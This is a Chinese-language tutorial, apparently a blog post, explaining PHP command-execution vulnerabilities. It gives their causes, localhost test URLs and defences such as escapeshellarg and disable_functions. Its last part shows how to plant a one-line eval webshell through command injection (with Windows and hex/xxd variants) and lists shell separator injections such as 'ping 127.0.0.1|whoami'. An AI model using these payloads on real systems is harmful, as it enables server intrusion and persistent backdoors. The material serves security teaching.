命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一。
如PHP的命令执行漏洞主要是基于一些函数的参数过滤不足导致,可以执行命令的函数有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等。当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击。PHP执行命令是继承WebServer用户的权限,这个用户一般都有权限向Web目录写文件,可见该漏洞的危害性相当大。
1.没有对用户输入进行过滤或过滤不严
例如,没有过滤&、&&、|、||等连接符
2.系统漏洞造成的命令执行
bash破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,如http、ssh和dhcp等。
3.调用的第三方组件存在代码执行漏洞
例如:
php(system()、shell_exec()、exec()、eval())
JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令执行
点击添加图片描述(最多60个字)
访问:http://127.0.0.1/test.php?cmd=127.0.0.1;pwd
也就是执行了“pwd”命令
点击添加图片描述(最多60个字)
点击添加图片描述(最多60个字)
访问:http://127.0.0.1/test.php?fun=system&par=whoami
其实就相当于执行了system(“whoami”)
点击添加图片描述(最多60个字)
点击添加图片描述(最多60个字)
访问:http://127.0.0.1/test.php?code=phpinfo();
点击添加图片描述(最多60个字)
找到php.ini,查找到disable_functions,添加禁用的函数名
参数的值尽量使用引号包括,并在拼接前调用addslashes进行转义。
不执行外部的应用程序或命令
尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容。
使用escapeshellarg函数处理相关参数escapeshellarg函数会将用户引起参数或命令结束的字符进行转义,如单引号"’“会被转义为”\’",双引号“””会被转义为""",分号";“会被转义为”;",这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
使用safe_mode_exec_dir指定可执行的文件路径将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。
PHP内置的两个函数可以有效防止命令执行:
1. escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。资料参考:http://cn.php.net/manual/zh/function.escapeshellarg.php2. escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。资料参考:http://cn.php.net/manual/zh/function.escapeshellcmd.php3. php中禁止disable_functions(禁用一些危险函数)4. 参数值尽量使用引用号包裹,并在拼接前调用addslashes进行转义黑名单:过滤特殊字符或替换字符
白名单:只允许特殊输入的类型/长度
写入webshell
利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); ?>
方法如下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字
inux下需要用\来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
后面命令注入也有时间盲注和sql注入很像
| 命令管道符
<>>> 文件重定向符
测试: 0 | dir c:
代码只过滤了部分特殊字符,可以考虑用其他字符进行测试,这边列举一下Window/Linux可利用的特殊字符:
windows支持
直接执行后面的语句 ping 127.0.0.1|whoami || 前面出错执行后面的 ,前面为假 ping 2 || whoami & 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami &&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoamiLinux支持
; 前面的执行完执行后面的 ping 127.0.0.1;whoami| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami11 当前面的执行出错时执行后面的 ping 1||whoami& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami